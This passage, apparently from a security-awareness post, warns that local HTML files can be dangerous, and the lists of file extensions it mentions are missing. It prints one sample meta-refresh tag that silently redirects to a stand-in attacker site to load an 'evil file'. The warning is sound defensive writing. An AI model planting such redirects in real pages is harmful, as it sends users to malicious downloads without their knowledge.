You might even be a little concerned nowadays with some more common extensions like
But how many of you would think that the following extensions are concerning?
Long story short, you should. You may think you're loading a local harmless HTML file, but here's an example where you'd actually be loading an evil file from a separate site and maybe you wouldn't even know it. If the .htm/.html file contains the following ...
<html> <meta http-equiv="refresh" content="0; url=http://www.evilsite.com/evilfile"> </html>
Don't open files you weren't expecting, from people you're weren't expecting to send it.
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